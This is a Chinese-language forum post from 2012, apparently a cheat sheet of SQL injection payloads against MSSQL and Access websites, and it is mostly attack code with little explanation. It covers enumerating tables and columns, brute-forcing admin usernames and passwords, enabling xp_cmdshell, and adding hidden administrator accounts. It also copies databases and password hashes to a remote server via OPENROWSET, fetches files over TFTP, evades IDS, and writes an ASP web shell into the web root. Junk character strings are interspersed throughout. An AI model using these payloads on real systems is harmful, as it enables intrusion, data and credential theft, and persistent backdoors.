标题: SQL注入语句2 [打印本页] 作者: admin 时间: 2012-9-15 14:32 标题: SQL注入语句2 1..判断有无注入点 - e; s. H, W, h1 @; and 1=1 and 1=2 / S9 r1 @3 v1 @; w. h$ K& y
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2.猜表一般的表的名称无非是admin adminuser user pass password 等.. 8 c D! y, \* {0 `& |) S: b
and 0<>(select count(*) from *) , G0 _; p; {" u. F, E
and 0<>(select count(*) from admin) ---判断是否存在admin这张表 & p4 ^( b2 P- z! s
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3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 1 O* h8 m6 q# ]6 r7 J5 e6 k; {3 qand 0<(select count(*) from admin) 2 I0 R4 s7 z/ M1 cand 1<(select count(*) from admin) 6 L L' ?' x- \1 u
猜列名还有 and (select count(列名) from 表名)>0 ) F, e% {# J3 I' n5 H0 ^" D , @# M9 A- S0 u1 S! V" J1 h, d5 X1 M/ q) A& | j
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. - c/ D# a. S& @) Nand 1=(select count(*) from admin where len(*)>0)-- ; o) I5 v* Y/ U
and 1=(select count(*) from admin where len(用户字段名称name)>0) & V8 Y u5 w, ?9 ~* [+ y1 s9 l
and 1=(select count(*) from admin where len(密码字段名称password)>0) ; ]* q! n4 a% I5 O Y' b; H9 @* d: m. f/ ]" A. y0 v
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 4 T1 ~8 \ N* b+ T' _& Pand 1=(select count(*) from admin where len(*)>0) 7 L9 t( V$ {3 p+ Q( n; ^2 |/ Jand 1=(select count(*) from admin where len(name)>6) 错误 # D4 X" `& S. b0 w% }; R
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 / D B. o! s) A8 N+ V, g/ ^3 u: hand 1=(select count(*) from admin where len(name)=6) 正确 % g! _) [8 b0 }+ Z' [ w; E: \& e: @( v: b9 v+ U4 M/ Eand 1=(select count(*) from admin where len(password)>11) 正确 8 Q3 I4 K: B \! Z1 Aand 1=(select count(*) from admin where len(password)>12) 错误 长度是12 $ T9 n7 D: j6 [' v5 B+ k
and 1=(select count(*) from admin where len(password)=12) 正确 # @+ b) o$ @4 J6 }$ [) l猜长度还有 and (select top 1 len(username) from admin)>5 5 n- x( M x$ p { w0 m- S2 \7 L' o 2 P+ @! q" y& ?3 @' @6.猜解字符 4 u1 x( e7 b/ p7 I' d/ z! uand 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 . Z1 S* @8 Y" h! x6 E$ R
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 8 i5 y4 E6 g4 E5 o* u
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 + H. v2 G/ \+ V5 f% `8 P
) b0 n( k! f. u, W5 Q猜内容还有 and (select top 1 asc(mid(password,1,1)) from admin)>50 用ASC码算 : \. e" Z {5 a' f( T! E7 F" kand 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- ! g- r+ ~, w4 Z1 a' r这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符. 5 D, Q; x0 |3 M2 M, j ( a$ L6 T) c8 |' b" Bgroup by users.id having 1=1-- : y0 k# l, _/ [5 ~
group by users.id, users.username, users.password, users.privs having 1=1-- & E2 K0 f7 C) d4 {; insert into users values( 666, attacker, foobar, 0xffff )-- ( s" u: d) M7 [9 r$ g" I3 _% ^+ W& J9 b" E: Q0 I' k$ J- d
UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- ~; F* U. t5 }; |UNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id)- 5 ]; a+ A. S2 Q; A0 cUNION SELECT TOP 1 列名 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE 列名 NOT IN (login_id,login_name)- , E- ]; H4 e& l) f# lUNION SELECT TOP 1 login_name FROM logintable- * B7 \, h% E1 A- O3 VUNION SELECT TOP 1 password FROM logintable where login_name=Rahul-- 8 {+ ]" S1 t2 l: P8 I' Q6 A7 |: O3 @
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看服务器打的补丁=出错了打了SP4补丁 " R: L n3 e. [ A
and 1=(select @@VERSION)-- 1 u9 ?- c% o+ l
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看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。 3 w( u* o( x7 ^$ wand 1=(SELECT IS_SRVROLEMEMBER(sysadmin))-- & o# T' `4 V. c$ Y2 V( M* ? 1 H. J+ m- m! g1 r0 I+ R判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA） 1 ?, N/ Z( f9 M* Y1 v/ O4 u
and sa=(SELECT System_user)-- ) Y/ D: Q- _4 G! Z- oand user_name()=dbo-- ( o9 b! q# H( kand 0<>(select user_name()-- , q: j6 q4 Y5 r6 U& ]+ o
/ e4 J3 q: c7 \% C& D7 `看xp_cmdshell是否删除 5 L! Y. V% l. @# \6 _
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)-- 6 G' N: J& K1 d( {! {4 [7 j/ ?0 Q1 `7 Y7 q/ _0 m, {) m
xp_cmdshell被删除，恢复,支持绝对路径的恢复 * P3 u% `, X3 U4 z' D, D( ]
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll-- ]% K t+ D) K- H
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll-- ) [# w4 H2 U, Y' w3 W H7 m9 l, u# g i反向PING自己实验 6 l7 k: @+ H, |. \, E;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- ! m: ]. w! E8 `1 G) K
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加帐号 % `0 E* V, ^" [7 j' Q, p;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- x4 K% Z( n. Z: Z: |. N7 }
) t3 \# `3 I: X6 b' L! r. Q2 p0 oMSSQL也可以用联合查询/ J/ ?; K: u) p. k
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin F8 x. u' ]# B. A$ ]
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用) 7 ~1 K, J2 v6 g 6 n, }4 X2 I, g1 J$ q; V: u* e 6 B' {/ [( Q: i% N爆库 特殊技巧:%5c=\ 或者把/和\ 修改%5提交 , _: n) l% a- r$ D 4 c7 X% q( |$ }: ]4 ? U # ]; r% k( J2 S$ X; a& r. T# Z. [9 B1 R! S: c. t& u
得到WEB路径 ) i' K: k3 h. n7 u$ W1 _;create table [dbo].[swap] ([swappass][char](255));-- % ?- K7 [5 y' K2 `3 C6 pand (select top 1 swappass from swap)=1-- . |, f+ b& j% u) O% P, c;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- ; f/ R- M- q7 T4 J! {, n8 L0 t
;use ku1;-- 1 L5 {. W) q/ u1 U( z7 U;create table cmd (str image);-- 建立image类型的表cmd 9 D7 @% s9 Q8 W. i* i
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存在xp_cmdshell的测试过程： 1 Y3 B$ M, R' y* I/ u z6 P. N
;exec master..xp_cmdshell dir ) n. |2 U0 f4 A/ j& M
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号 3 T1 I& q3 Y$ K/ m# p
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- 7 i* ^# T4 n* w) V8 c$ L- ?. s( Y;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 3 g9 k$ M4 C3 y8 M# ?( s* R! K;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 5 J( W! @& Y& L/ \+ z y4 x;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- ! L; t+ Q+ G. r( U0 t
exec master..xp_servicecontrol start, schedule 启动服务 * O& t. O. y7 m) e; [; ]5 vexec master..xp_servicecontrol start, server ! V+ @/ A. t* Z9 c9 ?7 n' a2 r$ P2 z
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add - t l% [& q1 B3 p;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add - `% A' p. C! |/ d( W; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 4 l( V3 ^& x, q; @
* x2 D! ]# G( ]0 l3 L0 k, a7 e;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 2 z1 ^: _3 V4 u. n. T/ q$ d% C
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ . v) I! w7 t* N" n$ r2 h) K };declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat 5 o! z4 ?. b5 i- f* e3 m
如果被限制则可以。 & c6 [: l3 q( C& W ?! b2 Gselect * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax) / q g; W! j6 K% c {- }; I J% W/ A/ z
查询构造： & z) e" h3 k1 K) G" SSELECT * FROM news WHERE id=... AND topic=... AND ..... 4 D6 l& V, {- P. i! I4 _
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 1 D _3 F1 [$ bselect 123;-- 2 \8 L. x e" R2 ^$ ]3 N. D% J
;use master;-- # n: K+ [8 W9 @' v5 `2 M1 d/ b:a or name like fff%;-- 显示有一个叫ffff的用户哈。 6 h R. `) K& M3 l: l
and 1<>(select count(email) from [user]);-- & r% E# Q2 ]4 k" X- _8 ? M* \2 u;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- & @; M( s1 P E& ^
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- , V8 E3 K. c- h, ~6 m6 j;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 8 Q8 |5 ?& y. B0 G/ w9 V;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ) d B5 s* U$ a;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- * ]5 D, v2 E- q& h7 u' ]/ f;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 9 X9 t6 O- G5 Y' H% q! `4 Y! c
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 / C2 N e D, W& B+ S通过查看ffff的用户资料可得第一个用表叫ad 9 _" g5 u9 A/ e" W% J; G1 S/ |然后根据表名ad得到这个表的ID 得到第二个表的名字 5 v, w* {, _8 f3 C: N5 M; t- e" ~' E. ~. M
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- + i/ _! c1 a- W3 g. w
insert into users values( 667,123,123,0xffff)-- $ G1 M, t; z" n; R- W# `$ l* ginsert into users values ( 123, admin--, password, 0xffff)-- " q- G* f& r! H6 Z/ q
;and user>0 - p' H# e) o* n/ ^- E, ?% d5 M" c;and (select count(*) from sysobjects)>0 3 B2 R6 S1 G/ ?& ];and (select count(*) from mysysobjects)>0 //为access数据库 # U) E% w& T1 n" Y ) M9 X7 e6 z c枚举出数据表名 4 l m# e9 i3 F! O;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 2 V# f. G' ^' z: E! q, s这是将第一个表名更新到aaa的字段处。 1 D5 \8 \/ R! N0 Q
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。 / j" p& }, ]( \4 b/ b
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- $ U3 n- J' Y. l9 ?/ {
然后id=1552 and exists(select * from aaa where aaa>5) ' Q1 v# k/ n3 J7 ]! f& `5 ]读出第二个表，一个个的读出，直到没有为止。 $ R: ]# ^) p$ p3 J读字段是这样： ' f2 ^& y( ]5 U6 p' U& y' D/ x;update aaa set aaa=(select top 1 col_name(object_id(表名),1));-- " n; t" X7 d4 }6 u" g
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 ' _4 f- k; Z# ]$ C1 A, [* @% f$ h( U
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));-- 2 f' f& e- y" ^# B- _7 {+ Y
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名 : J- N3 G1 Y6 _, S- ~7 R0 g$ ]8 {7 i' F& I* Y6 N
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] 3 l' _# j7 v( L. Supdate 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) $ Y6 e( i8 f/ U V2 [; {. c通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] $ [2 ^" C2 R' p4 J5 O' u& {, U3 c% h V: u5 v
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] 6 @8 m( c. k+ T) N5 D/ l! A
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件] # C6 N: n! W% t
- Q1 _( L2 A; b, W3 S+ y绕过IDS的检测[使用变量] / z, o5 \- p5 @) C- v# D3 q! \;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ # a2 k* p- _2 ^ R;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ 6 L9 j* q) j2 X* d3 X6 W3 y8 `& ^; B; I0 T
1、 开启远程数据库 Z/ R4 [0 n2 K0 x基本语法 8 j. i+ q, q( Z) Wselect * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 4 v4 D; N8 k" n! \" s参数: (1) OLEDB Provider name - O& i2 M+ l# x- ^2、 其中连接字符串参数可以是任何端口用来连接,比如 0 v& g- y& c, Q; y7 K
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table ' f3 V( z8 S, }, g3.复制目标主机的整个数据库insert所有远程表到本地表。 " m4 _) X* G2 t, z( L- W& R
% p; k* e: D6 a1 @% F基本语法： 8 Q6 k# c9 }4 G) ]# n' p, `insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 ( P4 C0 T3 r& l6 S
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： ' c! L$ l+ K+ t4 N- r. \! B/ \) L
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 $ Q5 _. C' s' T6 Winsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) & U5 k$ \, J; k+ }. V) qselect * from master.dbo.sysdatabases 8 e( k1 {! ^$ ]. {2 a
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects) ) C5 Q$ m2 A/ O9 q" k$ T0 Xselect * from user_database.dbo.sysobjects 5 c8 P% e$ p) r% H( Sinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) 8 Y8 c0 x3 @5 ?. l$ ~% Q
select * from user_database.dbo.syscolumns 4 T8 R# |$ X% Z! r4 W% r# k2 W" Y* [
复制数据库： : h; a0 \. s9 ]8 [* V) U. a1 B- V, ^
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 2 N9 c. t# g' Y2 S2 H+ Z! Einsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 . y, @1 B4 x* U- b" k4 {* t
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复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下： ' C7 Z" X' b u+ ]4 Q
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins * P! z( ^0 L! ?* }2 E1 U. S得到hash之后，就可以进行暴力破解。 , D* V# a A" Y4 k9 l! s& u $ L% Q* w( z" d" i2 V6 H0 K' |遍历目录的方法： 先创建一个临时表：temp 2 z3 I K) \, r8 s1 T; a) o4 U;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1 h( P; ]" }( c0 {/ X1 x& n( s7 J& i0 o;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9 r& |1 d+ {- m* e5 ]
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 - L: [, O0 v1 h7 f$ o, Y# W
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 3 `3 K5 d: W6 w- w/ I3 F" ]
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 7 b8 k6 G3 f. A( \3 ~
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 0 r; ~* V$ W1 M
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- 9 X# f; c2 {2 I4 ?/ ?, L* _9 H* M& X
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc 2 r5 _3 w5 O1 m& C/ C; e;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC） 8 \+ i; O! Q* f& M写入表： 0 W; }6 x- n" w" m5 `2 t) H
语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- $ Z# p& l- [5 w# i, a! F9 ]8 n
语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- . n9 s" l4 ]; ?; s- Q' x, J }
语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));-- 1 M- j- T6 k; d( @( V e- n语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- - P/ D% V* h/ _- r" f语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- $ z% }) n& T/ X3 a
语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));-- ! y) l F, |- z8 Z4 ?6 {' u
语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- ! {, C) n; O8 _7 b) ]3 Q. s语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- $ S6 ^$ S! _8 V! X/ e* t语句9：and 1=(SELECT IS_MEMBER(db_owner));-- * K3 S! g- {" v7 @* P
+ D* e( _* A( m把路径写到表中去： ( Y. I) p' O( H3 [;create table dirs(paths varchar(100), id int)-- ' S0 d, o, c" F3 e. [
;insert dirs exec master.dbo.xp_dirtree c:\-- 2 R9 n+ W8 L4 Oand 0<>(select top 1 paths from dirs)-- x& _2 J( u! `0 U
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- ( E" e$ n. z; N9 T) X, ]! r;create table dirs1(paths varchar(100), id int)-- 3 R3 [# Y0 R" H( p6 S# t6 w$ a;insert dirs exec master.dbo.xp_dirtree e:\web-- ' G3 N: @+ w6 ?. u, L2 @1 D% uand 0<>(select top 1 paths from dirs1)-- " C6 Q7 a. C% D: H* A5 r" T # A c5 T! O# n- H( d+ X3 n+ A把数据库备份到网页目录：下载 6 D+ y. g; i9 j1 t
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;-- & y& M5 H) C i5 C( V # w0 ^6 v; w# q4 I! P( l( r) Aand 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) / R( W' D& @( V6 x- X
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。 % c: b& `5 i/ c e* L* Cand 1=(select user_id from USER_LOGIN) : ]- ?( u" ^- ~" V. f2 T
and 0=(select user from USER_LOGIN where user>1) ; m3 E: y3 T8 J* a* E# d5 L" t + D% N# G7 s) u0 k7 C" d. u-=- wscript.shell example -=- 9 i+ X8 K0 V o& Wdeclare @o int - Q4 d* Y( P' S2 T
exec sp_oacreate wscript.shell, @o out 9 ~, q+ l6 V: t$ g; y$ R, Pexec sp_oamethod @o, run, NULL, notepad.exe ) d0 d2 s/ I# g6 I
; declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, notepad.exe-- 8 [/ E% y- \; p, \
" u$ ^) Y0 C7 U7 u) c
declare @o int, @f int, @t int, @ret int ) x& s9 n1 U. O% b6 E) g: |
declare @line varchar(8000) 5 n- z7 V$ k: v ?* gexec sp_oacreate scripting.filesystemobject, @o out 1 \* V- M9 A. s# \% f: ]1 S8 sexec sp_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 ) J* g+ k, q+ [6 |2 C$ s4 l! zexec @ret = sp_oamethod @f, readline, @line out - I, u G2 t% bwhile( @ret = 0 ) 0 \! L/ I6 K$ R0 }: f; G# I& d" _
begin 0 n1 p( `+ b, H1 X9 \7 e( bprint @line 5 k8 n* e0 ]3 I$ b# h+ hexec @ret = sp_oamethod @f, readline, @line out : h' X/ w6 i" e- T8 s
end . ^' F7 r% A4 r5 R- o, D0 _
& G% i+ @7 {' N8 v6 S. G7 Z# A. A/ Q( ydeclare @o int, @f int, @t int, @ret int # ]$ F5 l7 s* Jexec sp_oacreate scripting.filesystemobject, @o out 7 ?2 r+ L% p' i4 o2 \& r3 b
exec sp_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 * M( s A* j% ?+ i! Wexec @ret = sp_oamethod @f, writeline, NULL, + H6 ]: e/ \: ^. n; I& O
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> . u j6 X* l2 f2 R1 v 8 r9 Q" g" ^9 b1 z) `+ c$ x1 Ideclare @o int, @ret int $ O7 J: e, R1 e5 C# t- [exec sp_oacreate speech.voicetext, @o out / |2 h" p! p# R
exec sp_oamethod @o, register, NULL, foo, bar 8 n+ l7 g% C3 S4 K; ^exec sp_oasetproperty @o, speed, 150 9 s! |# z; @- Eexec sp_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 $ g( E3 ]/ \# X9 z
waitfor delay 00:00:05 7 l+ r' W+ Z" S ' j; d) H2 w. E( t, m; declare @o int, @ret int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, foo, bar exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 1 H+ H e" i0 } ( e! d& @% i6 Y: Hxp_dirtree适用权限PUBLIC 8 M' ]( i1 s" g, P
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。 0 R z7 a; ?5 {; T3 G5 t9 P& t" B
create table dirs(paths varchar(100), id int) ' g. a, {" g0 p' i
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。 : C7 ], ~9 d5 Tinsert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！ 4 F2 u+ d/ w; |9 [